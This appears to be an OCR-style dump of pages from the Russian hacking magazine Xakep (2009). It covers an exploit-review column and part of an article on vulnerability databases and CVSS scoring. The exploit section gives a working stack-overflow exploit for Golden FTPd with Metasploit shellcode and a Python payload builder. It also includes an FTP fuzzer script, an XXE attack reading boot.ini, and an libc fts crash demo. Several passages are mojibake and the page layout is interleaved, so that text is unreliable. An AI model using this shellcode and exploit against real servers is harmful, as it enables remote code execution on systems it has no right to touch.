n = i386_get_ldt (0, ((int)NULL) + 1, 0);<br />

XÀÊÅÐ 04 /124/ 09<br />

043


взлом<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

Эксплуатация уязвимости привела к исполнению calc.exe без ведома<br />

пользователя<br />

фаззинга не раз уже описывался на страницах журнала: по сути, это<br />

умышленное общение с сервисом с помощью аномальных запросов.<br />

Вспомним, что на самом деле FTP-протокол очень емок и насчитывает<br />

более ста команд. Соответственно, разработчики должны учесть их все<br />

в своих приложениях (а это очень трудоемкая задача) — устанавливать<br />

ограничение на вводимую длину создаваемой папки, контролируемую<br />

глубину пути и так далее. Для автоматизации процесса багоискатели<br />

пишут либо собственные скрипты, либо полноценные приложения,<br />

вроде Infigo FTP Fuzz (infigo.hr/files/ftpfuzz.zip). Как правило, подобного<br />

рода уязвимости эксплуатируются после авторизации. Для этого<br />

можно заюзать anonymous-доступ, из-под которого и осуществлять<br />

проверки. Сюжет прост — фаззером сообщаются различные данные,<br />

а параллельно мы осуществляем мониторинг поведения приложения<br />

(OllyDbg). Порой приложение не дает себя дебажить и конфликтует с<br />

«Olly». Чтобы решить проблему, попробуй использовать альтернативный<br />

отладчик. FaultMon (research.eeye.com/html/tools/RT20060801-4.<br />

html) — утилита для выявления экспешнов в приложении и их корректной<br />

работы.<br />

Для аттача процесса в OllyDbg можно воспользоваться соответствующей<br />

вкладкой или использовать флаг -P (с указанием PID процесса).<br />

Аналогичный флаг присутствует и в FaultMon. Рассмотрим процесс<br />

анализа Golden FTPd. Аттачим процесс к дебаггеру и начинаем фаззинг<br />

по всем параметрам. Так как сервис привязан к запуску «внутри»<br />

Olly, для более качественной отладки после креша предстоит играться<br />

с Debug > Restart. Из-за переполнения входных данных по команде<br />

USER мы выявили переполнение буфера, и значение EIP перезаписалось<br />

на 41414141.<br />

Путем замеров выясняем, что переполнили буфер 3000 байтами. Далее<br />

требуется передать управление на шелл-код путем изменения адреса<br />

возврата. Кликаем правой кнопкой мыши в окне OllyDbg: Overflow<br />

Return Address ASCII Overflow returns Search JMP/Call ESP. Когда<br />

эта процедура завершена, палим View Log, чтобы отследить расположение<br />

«jmp esp», «call esp» в процессе и связанных DLL.<br />

Теперь View Executable Modules — и по базе OpCodeDB в Metasploit<br />

определяем адрес возврата: 0x750362c3 — ws2_32.dll (opcode —<br />

pop,pop.ret). Обнаружили, что данный адрес содержит pop,pop.ret.<br />

Так как они нужны нам, прибавляем единицу к адресу возврата, чтобы<br />

пропустить одну из команд pop (0x750362c4).<br />

Мы можем воспользоваться готовым шелл-кодом win32_exec из пакета<br />

Metasploit (payloads):<br />

"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"<br />

"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"<br />

"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"<br />

"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"<br />

"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"<br />

044<br />

Переполнение буфера привело к перезаписи регистра EIP<br />

"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"<br />

"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"<br />

"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"<br />

"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"<br />

"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"<br />

"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"<br />

# (3000 bytes)<br />

sc = 'A' * 3000<br />

# calc.exe Shellcode(172 bytes)<br />

sc += "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"<br />

sc += "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"<br />

sc += "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"<br />

sc += "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"<br />

sc += "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"<br />

sc += "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"<br />

sc += "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"<br />

sc += "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"<br />

sc += "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"<br />

sc += "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"<br />

sc += "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"<br />

# Windows 2000 SP0,1,2,3,4 (pop,pop,ret+1)= (pop,ret)<br />

# Thanks Metasploit!<br />

return_address='\xC5\x2A\x02\x75’<br />

buffer = '\xEB\x30' + ' /' + sc + return_address + '\r\n\r\n'<br />

print buffer<br />

Эксплойт готов! После его запуска и отправки соответствующего<br />

содержимого мы получим удаленное исполнение calc.exe на целевой<br />

машине.<br />

Устройство самого фаззера можно понять на простом примере.<br />

Воспользуемся вспомогательным средством antiparser (antiparser.<br />

sourceforge.net) — это API, которое написано на Python и позволяет<br />

создать специальные блоки данных для применения в фаззерах. Что<br />

же представляют собой эти блоки?<br />

apChar() — âîñüìèáèòíûé ñèìâîë<br />

apCString() — ñòðîêà (êàê â ÿçûêå Ñ), ñîñòîÿùàÿ èç çíàêîâ<br />

è çàêàí÷èâàþùàÿñÿ íóëåâûì ñèìâîëîì<br />

apKeywords() — ñïèñîê ïàðàìåòðîâ, îòäåëåííûõ äðóã îò<br />

XÀÊÅÐ 04 /124/ 09


обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

>> взлом<br />

обзор<br />

эксплоитов<br />

Схема работы FTP-протокола<br />

äðóãà ñïåöèàëüíûì ñèìâîëîì èëè äðóãèì áëîêîì äàííûõ<br />

apLong() — 32-áèòíîå öåëîå<br />

apShort() — 16-áèòíîå öåëîå<br />

apString() — ïðîèçâîëüíàÿ ñòðîêà (aka «free form<br />

string»)<br />

Наиболее интересен тип apKeywords(). Последовательность, задаваемая<br />

им выглядит так: [ключевое слово (например, команда FTP)]<br />

[разделитель][блок данных (параметры к команде)][символ конца<br />

блока]. Применительно к FTP можно сделать такой набросок:<br />

# èìïîðòèðóåì âñå ôóíêöèè èç ìîäóëÿ<br />

From antiparser import *<br />

# çàäàåì ñïèñîê êîìàíä â êà÷åñòâå êëþ÷åâûõ ñëîâ òèïà<br />

ñïèñîê<br />

CMDLIST = ['ABOR', ‘ALLO', 'APPE', 'CDUP', 'XCUP',<br />

'CWD', 'XCWD', 'DELE', 'HELP', 'LIST', 'MKD', 'XMKD',<br />

'MACB’, 'MODE', 'MTMD', 'NLST', 'NOOP', 'PASS', ‘PASV',<br />

'PORT', 'PWD', 'XPWD', 'QUIT', 'REIN', 'RETR', 'RMD',<br />

'XRMD', 'REST', 'RNFR', 'RNTO', 'SITE', 'SIZE', 'STAT’,<br />

'STOR', 'STRU', 'STOU', 'SYST', 'TYPE', 'USER']<br />

# çàäàåì ñèìâîë ðàçäåëèòåëÿ è çàâåðøàþùåãî çíàêà<br />

SEPARATOR = ""<br />

TERMINATOR = "\r\n"<br />

for cmd in CMDLIST:<br />

# èíèöèàëèçèðóåì API<br />

Ap = antiparser()<br />

# íàñòðàèâàåì íà ðåæèì ñî ñâîèìè êëþ÷åâûìè ñëîâàìè<br />

cmdkw = apKeywords()<br />

# çàäàåì ñëîâà, ðàçäåëèòåëü è çàâåðøàþùèé ñèìâîë<br />

cmdkw.setKeywords([cmd])<br />

cmdkw.setSeparator(SEPARATOR)<br />

cmdkw.setTerminator(TERMINATOR)<br />

# ÷åì áóäåì ôàççèòü, â êà÷åñòâå ïàðàìåòðîâ ê êîìàíäàì<br />

XÀÊÅÐ 04 /124/ 09<br />

База опкодов Metasploit<br />

cmdkw.setContent(r»%n%n%n%n%n%n%n%n%n%n%n%»)<br />

# äåëàåì òàê, ÷òîáû ãåíåðèðóåìûå áëîêè äàííûõ âàðüèðîâàëèñü<br />

ïî ðàçìåðó ñ íàðàñòàíèåì äî 65536 áàéò<br />

cmdkw.setMode('incremental')<br />

cmdkw.setMaxSize(65536)<br />

045


взлом<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

03<br />

NEXTAPP<br />

ECHO XML<br />

INJECTION<br />

>> Brief:<br />

Одна из неочевидных и интересных атак. Пример сценария: от клиента<br />

отправляются XML-данные, поступают на сторону приложения, где<br />

обрабатываются XML-парсером.<br />

Типичный запрос:<br />

С помощью таких инструментов, как Http-Analyzer или плагин к Mozilla<br />

Tamper Data, очень удобно проводить атаки на заголовки<br />

aa<br />

ap.append(cmdkw)<br />

# øëåì âñþ êàðòèíó íà óêàçàííûé õîñò è ïîðò ñ ïîìîùüþ<br />

ñîêåòîâ<br />

sock = apSocket()<br />

sock.connect(HOST, PORT)<br />

print sock.recv(1024)<br />

sock.sendTCP(ap.getPayload())<br />

print sock.recv(1024)<br />

sock.close<br />

Отмечены все доступные методы для «общения». Тестирование выявило<br />

затруднения при обработке CWD/CDUP. «Access violation» представляет<br />

ситуацию, когда приложение пытается прочитать участок памяти, которого<br />

не существует (характерная ошибка — «Read of»). Вторая ошибка связана<br />

с записью в участок памяти («Write to») , который был недоступен, либо<br />

приложение не имело привилегий для записи. Для отслеживания такого<br />

рода ошибок требуется выставить флажки в OllyDbg (Options Debugging<br />

Options Exceptions) «Memory Access Violation», «Single Step Break».<br />

>> Targets<br />

Выявленные таким способом уязвимости:<br />

• WinFTP 2.3.0<br />

Передача аномального параметра в команде LIST (LIST *). Позволяет<br />

перезаписать arbitary-память (http://milw0rm.com/exploits/7875).<br />

• GuildFTPd FTP Server Version 0.x.x<br />

Обход ограничения безопасности по команде DELETE (http://milw0rm.<br />

com/exploits/8200).<br />

Может быть осуществлено с применением техник directory traversal ( \..).<br />

• WFTPD Explorer Pro 1.0<br />

Переполнение кучи (http://milw0rm.com/exploits/7913).<br />

• Serv-U 7.4.0.1<br />

Неавторизированное создание произвольных директорий (http://<br />

milw0rm.com/exploits/8211).<br />

Вдобавок, следует понимать, что неразумное использование<br />

экстремально больших параметров иногда приводит к отказу в<br />

обслуживании сервиса. Этот продукт, к сожалению, не исключение.<br />

При сообщении большого числа (свыше 2000) команд SMNT<br />

после авторизации — происходит аварийное завершение работы<br />

сервиса.<br />

046<br />

Вредоносный запрос:<br />

]><br />

Интересность в том, что языковыми средствами языка XML злоумышленник<br />

может продекларировать новый объект. Тот, в свою очередь,<br />

объявит объект, содержащий boot.ini, на который можно будет сослаться<br />

в XML-запросе.<br />

>> Targets<br />

NextApp Echo < 2.1.1<br />

>> Exploits<br />

http://milw0rm.com/exploits/8191<br />

Код запроса представлен выше, инжект такого XML-request’a может<br />

быть выполнен с помощью средств JS/HTTP-POST.<br />

04<br />

УЯЗВИМОСТИ В ФУНКЦИЯХ FTS_*<br />

В LIBC (HTTP://MILW0RM.COM/<br />

EXPLOITS/8163).<br />

Здесь мы видим некорректную обработку исключительных ситуаций<br />

при длинном пути. Набор функций fts занимается отображением<br />

иерархии файловой системы UNIX — ftp_open() возвращает хэндл на<br />

файловую иерархию, и он может быть «скормлен» одной из следующих<br />

функций:<br />

• fts_read — возвращает указатель на структуру, описывающую один<br />

из элементов файловой иерархии;<br />

• fts_children() возвращает указатель на список структур, каждая из<br />

которых описывает один из файлов внутри дочерней директории.<br />

Обратимся к структуре, описывающей иерархию:<br />

typedef struct _ftsent {<br />

unsigned short fts_info; /* ôëàãè íà FTSENT-ñòðóêòóðó*/<br />

char *fts_accpath; /* ïóòü äîñòóïà */<br />

char *fts_path; /* òåêóùèé êàòàëîã */<br />

size_t fts_pathlen; /* strlen(fts_path) */<br />

char *fts_name; /* èìÿ ôàéëà */<br />

size_t fts_namelen; /* strlen(fts_name) */<br />

short fts_level; /* ãëóáèíà èåðàðõèè (-1 äî N) */<br />

XÀÊÅÐ 04 /124/ 09


обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

>> взлом<br />

int fts_errno; /* èñêëþ÷åíèÿ */<br />

long fts_number; /* íóìåðîâàííîå çíà÷åíèå */<br />

void *fts_pointer; /* ëîêàëüíûé àäðåñ â ïàìÿòè */<br />

struct _ftsent *fts_parent; /* ðîäèòåëüñêàÿ äèðåêòîðèÿ<br />

*/<br />

struct _ftsent *fts_link; /* ñëåäóþùàÿ ôàéëîâàÿ<br />

ñòðóêòóðà */<br />

struct _ftsent *fts_cycle; /* ñòðóêòóðà èåðàðõèè ïî<br />

öèêëó */<br />

struct stat *fts_statp; /* ñòàòèñòèêà ïî ôàéëàì<br />

èåðàðõèè */<br />

} FTSENT;<br />

Заметим, что fts_level имеет тип short. Это наводит на определенные<br />

мысли. При изучении кода взгляд натыкается на комментарий<br />

разработчиков:<br />

- ---line-616-625---<br />

/*<br />

* Figure out the max file name length that can<br />

be stored in the<br />

* current path -- the inner loop allocates<br />

more path as necessary.<br />

* We really wouldn’t have to do the maxlen<br />

calculations here, we<br />

* could do them in fts_read before returning<br />

the path, but it’s a<br />

* lot easier here since the length is part of<br />

the dirent structure.<br />

*<br />

* If not changing directories set a pointer so<br />

that can just append<br />

* each new name into the path.<br />

*/<br />

- ---line-616-625---<br />

«По правде говоря, мы не будем здесь делать какие-либо вычисления<br />

с огромными именами... и здесь должен быть уровень<br />

ограничений или «pathlen»-монитор». Конечно, должен, но где<br />

же он? Безусловно, недоработка, а точнее недоделка.<br />

#define NAPPEND(p)\<br />

(p->fts_path[p->fts_pathlen — 1] == ‘/’ \<br />

? p->fts_pathlen — 1 : p->fts_pathlen)<br />

Естественно, эта функция пойдет в креш, если мы обратимся к неправильному<br />

участку памяти с помощью аномальных параметров.<br />

127# pwd<br />

/home/cxib<br />

# êîëè÷åñòâî ðîäèòåëüñêèõ êàòàëîãîâ î÷åíü âåëèêî<br />

127# du /home/<br />

4 /home/cxib/.ssh<br />

Segmentation fault (core dumped)<br />

127# rm -rf Samotnosc<br />

Segmentation fault (core dumped)<br />

127# chmod -R 000 Samotnosc<br />

Segmentation fault (core dumped)<br />

>> Targets<br />

• OpenBSD 4.4 (/usr/src/lib/libc/gen/fts.c)<br />

• Microsoft Interix 6.0 10.0.6030.0 x86<br />

• Microsft Vista Enterprise (SearchIndexer.exe) z<br />

XÀÊÅÐ 04 /124/ 09<br />

47


взлом<br />

BID<br />

Secunia<br />

OSVDB<br />

АНДРЕЙ «SKVZ» КОМАРОВ<br />

/ KOMAROV@ITDEFENCE.RU /<br />

МЕРЯЕМ<br />

УЯЗВИМОСТИ<br />

ISS X-Force<br />

КЛАССИФИКАТОРЫ И МЕТРИКИ КОМПЬЮТЕРНЫХ БРЕШЕЙ<br />

Åæåäíåâíî ñîòíÿìè õàêåðîâ îáíàðóæèâàþòñÿ òûñÿ÷è óÿçâèìîñòåé, — ïîñëå<br />

÷åãî âçëàìûâàåòñÿ êó÷à ñàéòîâ, è äåòàëè áàãîâ âûêëàäûâàþòñÿ â áàãòðàê íà<br />

âñåîáùåå îáîçðåíèå. Íàâåðíÿêà, òû ÷èòàë ïîäîáíûå îáçîðû è çàìå÷àë, ÷òî<br />

êàæäûé áàã îïðåäåëåííûì îáðàçîì êëàññèôèöèðóåòñÿ. ×òî ñîáîé ïðåäñòàâëÿåò<br />

èçìåðåíèå óÿçâèìîñòè, ïî êàêèì êðèòåðèÿì ïðîèçâîäèòñÿ è íà êîé<br />

÷åðò ýòî âîîáùå íóæíî çíàòü? Îòâåòû òû íàéäåøü â ýòîé ñòàòüå.<br />

>> взлом<br />

«Общепринятых систем по классификации<br />

брешей в нашей стране не существует» — эту<br />

фразу я поставлю во главу угла. Продвинутым<br />

государством в этом плане стали США. Там<br />

ведут несколько классификаций и активно используют<br />

их как в образовательном процессе,<br />

так и в технологиях. Одной из самых известных<br />

систем классификации является CVE, которая<br />

курируется компанией NCSD (National Cyber<br />

Security Division) при одном из Министерств<br />

США. Рассмотрим эту систему подробнее.<br />

СVE (COMMON VULNERABILITIES AND<br />

EXPOSURES)<br />

По сути, CVE — это «словарь» известных уязвимостей,<br />

имеющий строгую характеристику<br />

по описательным критериям, что отличает его,<br />

скажем, от Bugtrack-ленты. Полностью CVE<br />

можно отыскать в Национальной Базе Уязвимостей<br />

США (NVD — nvd.nist.gov) или на официальном<br />

сайте (cve.mitre.org/data/downloads).<br />

Причем, распространяется база в нескольких<br />

форматах: xml, html, csf, xsd schema. Из-за<br />

такой доступности, открытости и удобства к<br />

базе CVE часто обращаются сами разработчики<br />

различного ПО (в первую очередь, нацеленного<br />

на рынок информационной безопасности).<br />

Общий вид записи CVE выглядит примерно так:<br />

CVE ID, Reference è Description.<br />

ID записывается с указанием кода и порядкового<br />

номера, например «CVE-1999-03». В поле<br />

Reference записываются различного рода<br />

ссылки на патчи, рекомендательного рода<br />

документы или комментарии разработчика.<br />

Description отвечает за описание самой уязвимости.<br />

Короче, CVE — система широкого профиля<br />

и никоим образом не сосредотачивается<br />

только на клиентских уязвимостях или, скажем,<br />

исключительно на WEB-протоколе. Изначально<br />

она задумывалась как единый стандарт<br />

идентификации уязвимостей, который должен<br />

охватывать несколько звеньев информационной<br />

системы: систему поиска и обнаружения<br />

брешей (например, сканер безопасности),<br />

антивирусное ПО, а также исследуемое ПО. Как<br />

появилась идея ее создания? Многие компании<br />

занимаются поиском брешей в различных<br />

продуктах на основе политики (не)разглашения<br />

информации и взаимодействия с производителями.<br />

Как-то, при исследовании одного из<br />

продуктов десятью различными компаниями,<br />

одной и той же уязвимости были присвоены<br />

абсолютно разные названия. После выявления<br />

сей вопиющей несправедливости было принято<br />

соглашение о едином стандарте. Тогда же компания<br />

MITRE Corporation (mitre.org) предложила<br />

решение, независимое от различных производителей<br />

средств поиска уязвимостей, и взяла<br />

на себя ответственность за его воплощение.<br />

Нельзя сказать, что после этого все баги стали<br />

упорядоченными. Разработчики продолжают<br />

активно развивать самостоятельные начинания.<br />

Часть из них имеют платную подписку, и<br />

антивирусные компании частенько обращаются<br />

048<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

BID<br />

OSVDB<br />

Secunia<br />

к ним и добавляют соответствующие сигнатуры<br />

в свои продукты. Стоимость такой годовой подписки<br />

составляет около $5000 и выше.<br />

BID<br />

Эта классификация присутствует исключительно<br />

на портале Securityfocus (используется в<br />

ленте securityfocus.com/vulnerabilities). Одна<br />

из отличительных особенностей BID — совместимость<br />

с CVE. Условно говоря, найденная<br />

уязвимость в BID имеет ссылку на номер CVE и,<br />

соответственно, равнозначна по информации.<br />

У системы есть ряд описательных свойств —<br />

например, класс, возможность локального или<br />

удаленного исполнения и т.п. В будущем ты<br />

убедишься, что этих параметров недостаточно<br />

для полной характеристики, но, тем не менее,<br />

BID дает разработчику вполне наглядную<br />

информацию о выявленной бреши.<br />

OSVDB<br />

Название расшифровывается примерно как:<br />

«Открытая база данных уязвимостей». Все<br />

просто и со вкусом. Классификация создана<br />

тремя некоммерческими организациями. Двести<br />

волонтеров со всего мира активно участвуют в<br />

ее наполнении. Среди прочего присутствуют:<br />

локация эксплуатации (сетевой доступ/локальный<br />

доступ) и импакт (ущерб от уязвимости,<br />

воздействие на какую-либо часть целевой<br />

информационной системы).<br />

SECUNIA<br />

Эта датская компания, лента уязвимостей<br />

которой доступна по адресу secunia.com,<br />

уже заработала себе достаточно славы. Не<br />

сказать, чтобы их портал внес какую-то особую,<br />

добавочную классификацию, но именно он<br />

предлагает услуги платной подписки на базу<br />

уязвимостей.<br />

ISS X-FORCE<br />

ISS затрагивает все перечисленные выше критерии,<br />

но вдобавок описывает бизнес-импакт,<br />

а именно — материальный ущерб, который<br />

может повлечь за собой угроза эксплуатации.<br />

Например, баг «Microsoft Excel Remote<br />

Code Execution», нацеленный на компьютер<br />

сотрудника банка или предприятия, способен<br />

привести к краже важных документов, ущерб<br />

от разглашения которых может исчисляться<br />

миллионами. Оценить урон от различных<br />

видов атак можно, ознакомившись с одним<br />

из ведущих блогов в русскоязычном сегменте<br />

о security-бричах и утечках — Perimetrix<br />

(securitylab.ru/blog/company/Perimetrix_blog).<br />

Также в системе присутствует качественно<br />

новая черта — переход к метрикам безопасности<br />

для описания свойств уязвимости. Для<br />

этого используется общая система подсчета<br />

рисков уязвимостей CVSS версии 2. Она<br />

представляет собой шкалы, на основе которых<br />

выставляются баллы. Система метрик была<br />

придумана для разделения приоритетов над<br />

исправлением уязвимостей. Каждая шкала<br />

относится к определенному смысловому разделу,<br />

который называется метрикой. В CVSS v.2<br />

их три: базовая метрика, временная метрика<br />

и контекстная метрика. Хакеров заинтересует<br />

только первая.<br />

БАЗОВАЯ МЕТРИКА<br />

Нередко на солидных порталах по безопасности<br />

можно увидеть фразу — «CVSS Base Score =<br />

9.2». Как это понимать? Параметр вычисляется<br />

по специальной формуле:<br />

BaseScore = round_to_1_decimal(((<br />

0.6*Impact)+(0.4*Exploitability)-<br />

1.5)*f(Impact))<br />

— плюс еще несколько. Все эти формулы можно<br />

найти по адресу first.org/cvss. Чтобы все стало<br />

понятнее, рассмотрим пример. Задан вектор<br />

уязвимости базовой метрики вида: «AV:N/<br />

AC:L/Au:N/C:N/I:N/A:C». Все красуется на<br />

странице описания, но ты абсолютно не можешь<br />

расшифровать эти иероглифы! Я тебе<br />

помогу. Итак, расшифровываем по порядку.<br />

Access Vector: Network — возможность доступа<br />

к объекту исключительно через сеть. Для эксплуатации<br />

уязвимости злоумышленник должен<br />

обладать доступом к уязвимому ПО, причем этот<br />

доступ ограничен только величиной сетевого<br />

стека. Локального доступа или доступа из<br />

Политика разглашения<br />

информации об уязвимости<br />

Недокументированные<br />

уязвимости<br />

В настоящее время эксперты мозгуют над включением вектора<br />

«недокументированные уязвимости» в одну из метрик. Этот параметр<br />

имеет высокое значение. В недалеком будущем мы сможем<br />

лицезреть строку undercover vulnerabilities — «вероятно, возможные<br />

к исполнению». На сайте, посвященном развитию метрик<br />

информационной безопасности (securitymetrics.org/content/Wiki.<br />

jsp), вывешено публичное обращение по поводу того, как и каким<br />

образом исчислять этот параметр. Все желающие могут отправить<br />

туда свои предложения.<br />

Это соглашение имеет ряд нюансов. Например, хакер, обнаружив<br />

уязвимость, ищет контакты, чтобы направить соответствующий<br />

запрос производителю. Если по истечении пяти дней производитель<br />

отмалчивается, вводит в заблуждение своих пользователей какимито<br />

способами или некорректно вступает в диалог, то ему отправляется<br />

повторное письмо. Выжидаются еще пять рабочих дней, после чего<br />

баг-хантер вправе помещать описание о баге на собственном ресурсе<br />

или в публичные багтраки. При этом в письме требуется оговорить и<br />

согласовать дату публикации, чтобы производитель успел выпустить<br />

обновление или советы по защите от эксплуатации. Важно отметить,<br />

что если стороннее третье лицо опубликовало данные об эксплуатации<br />

найденной тобой уязвимости, ты можешь смело постить ее<br />

подробности без согласования с кем-либо. Вот такая арифметика.<br />

XÀÊÅÐ 04 /124/ 09<br />

049


взлом<br />

Secunia<br />

Подсчитанное значение Base Score для уязвимости в Microsoft Windows<br />

Kernel GDI<br />

Все самое интересное и вкусное распространяется только платно<br />

Существует очень много видов систем и баз для учета уязвимостей. Многие<br />

из них совместимы с CVE<br />

BID указывает лишь несколько характеристик о свойствах уязвимости<br />

info<br />

Истинные корни<br />

создания единой<br />

классификации<br />

багов и их контроля<br />

— это Unix<br />

Known Problem<br />

List, Internal Sun<br />

Microsystems Bug<br />

List, каталоги служб<br />

реагирования на<br />

компьютерные<br />

инциденты CERT<br />

ранних версий.<br />

050<br />

соседней сети не требуется. Такие уязвимости часто называют<br />

эксплуатируемыми удаленно. Примером такой сетевой атаки<br />

служит переполнение буфера RPC.<br />

Access Complexity: Low — сложность доступа к ресурсу:<br />

низкая. Для эксплуатации специальных условий и особых<br />

обстоятельств не требуется — все стандартно, шаблонно,<br />

общедоступно.<br />

Authentication: None — для эксплуатации не нужна авторизация.<br />

Например, если бы это был сервис, который требует<br />

предварительной авторизации по какой-нибудь мудреной<br />

схеме (смарт-карты, ключи, токены), то значение этого<br />

вектора было бы другим.<br />

Confidentiality Impact: None — влияние на разглашение<br />

критичной информации. Integrity Impact: None — нарушение<br />

целостности. Понятие «целостность» связано<br />

с достоверностью и точностью информации. Если бы у<br />

злоумышленника была возможность модификации файлов,<br />

изменения области исполнения файлов, то мы бы поставили<br />

здесь C (полное) или P (частичное, от «partial»).<br />

Availability Impact: Complete — атаки, потребляющие пропускную<br />

способность сети, циклы процессора или дисковое<br />

пространство, которые влияют на доступность системы.<br />

Если эксплуатация уязвимости вызывает отказ в обслуживании,<br />

то Availability Impact имеет значение «Complete».<br />

ВРЕМЕННАЯ МЕТРИКА<br />

Более глубоким анализом занимаются временные и<br />

контекстные метрики. Дело в том, что описанные векторы<br />

базовой метрики со временем не меняются. Они постоянны<br />

и могут характеризовать уязвимость по назначению и<br />

опасности. А какие критерии могут изменяться с течением<br />

времени? Представь, что ты нашел критическую уязвимость<br />

и уведомил разработчика. Временной интервал исправления<br />

уязвимости в таком случае имеет значение, да и к<br />

тому же, сам изменяется во времени (это может быть день,<br />

час, либо производитель вообще никак не отреагирует).<br />

Или ситуация, когда твой друг написал боевой эксплойт на<br />

недавнюю уязвимость «нулевого дня». Как долго этот код<br />

будет актуален? Он ускорит риск эксплуатации, следовательно,<br />

должен учитываться при ее описании. Доступна ли<br />

будет его технология к завтрашнему дню? На все эти вопросы<br />

отвечают временные метрики. Рассмотрим некоторые их<br />

векторы.<br />

Exploitability (E) — возможность эксплуатации. Пожалуй,<br />

один из важнейших критериев. Речь идет конкретно о<br />

доступности средства (кода, эксплойта, технологии), которое<br />

успешно работает. Важно учитывать и то, что доступный<br />

эксплойт можно использовать далеко не всегда. Используемые<br />

описательные флаги: U (недоступен или непроверен),<br />

Proof-of-Concept (POC — опубликована наглядная<br />

демонстрация уязвимости), F (функциональный, и рабочий<br />

эксплойт у тебя в руках), H («high risk» всей темы, чаще<br />

всего характерен для червей или для уязвимостей с широко<br />

популярным описанием), ND (без разницы, вектор метрики<br />

не влияет ни на что существенное, поэтому учитывать его<br />

не надо). Remediation Level (RL) — уровень исправления.<br />

Голос уязвимости услышал весь свет, вот только как поступят<br />

разработчики? Порой они просто молчат, потому что их уже<br />

не осталось в живых (простите, за цинизм и черный юмор), а<br />

иногда абсолютно сторонние организации и неофициальные<br />

источники начинают заботиться о безопасности на первый<br />

взгляд чужих продуктов и оперативно писать заплатки.<br />

Report Confidence (RC) — степень достоверности отчета.<br />

Сколько слухов и разговоров крутится вокруг! Банальный<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

BID<br />

OSVDB<br />

Secunia<br />

Вывод характеристик с сайта osvdb.org. Не всегда авторам известно о<br />

наличии боевого кода в природе, что затемняет подробности уязвимости<br />

На официальном сайте Национальной базы данных уязвимостей<br />

есть возможность поиска по критериям CVSS<br />

Если ты заметил, мы обращались к новой редакции CVSS (2). Существует<br />

еще и первая, облегченная версия, не учитывающая многих параметров.<br />

Тем не менее, она пригодна к использованию и намного проще. Посчитать<br />

Base Score для нее можно с помощью сервиса на офсайте NVD<br />

пример: человек написал информацию якобы<br />

о рабочей критической уязвимости. А на деле<br />

оказалось, что это программный дефект и<br />

ничего существенного собой не представляет.<br />

Подтверждена ли уязвимость экспертами или<br />

же это просто проделки хакерских слухов? Ответ<br />

на этот вопрос даст вектор Report Confidence.<br />

Параметры всех указанных векторов градируются<br />

вариантами «да/нет/возможно».<br />

КОНТЕКСТНАЯ МЕТРИКА<br />

Эти группы векторов отражают влияние на<br />

среду пользователя и изучают поведение<br />

после эксплуатации уязвимости. Как правило,<br />

метрика используется в качестве дополнения<br />

к базовой. Collateral Damage Potential (CDP)<br />

— вероятность нанесения косвенного ущерба.<br />

Описывает экономические или технические потери.<br />

Скажем, нам встретится уязвимость, приводящая<br />

к DoS-атаке. После ее эксплуатации<br />

часть сетевого оборудования перегревается,<br />

не справляясь с работой, и выходит из строя. Но<br />

при этом ущерб оказывается незначительным<br />

из-за низкой стоимости устройства и его расположения<br />

(вне защищаемых и важных объектов).<br />

Target Distribution (TD) — плотность целей.<br />

Влияет ли уязвимость только на одну цель, либо<br />

с ее помощью можно поработить огромное<br />

число машин? Если это стендовое показательное<br />

выступление, лабораторный практикум или<br />

эксплуатация на машине, изолированной от<br />

других, то значение этого вектора равно нулю.<br />

ИСПОЛЬЗОВАНИЕ<br />

КЛАССИФИКАТОРОВ В СКАНЕРАХ<br />

Современные автоматизированные аудиторы<br />

принято затачивать под какую-либо конкретную<br />

базу знаний. Во-первых, это престижно, во-вторых<br />

— полезно. К примеру, при подготовке к аттестации<br />

по одному из современных стандартов (NERC-CIP,<br />

PCI, FISMA, GLBA или HIPAA) администратору предоставляется<br />

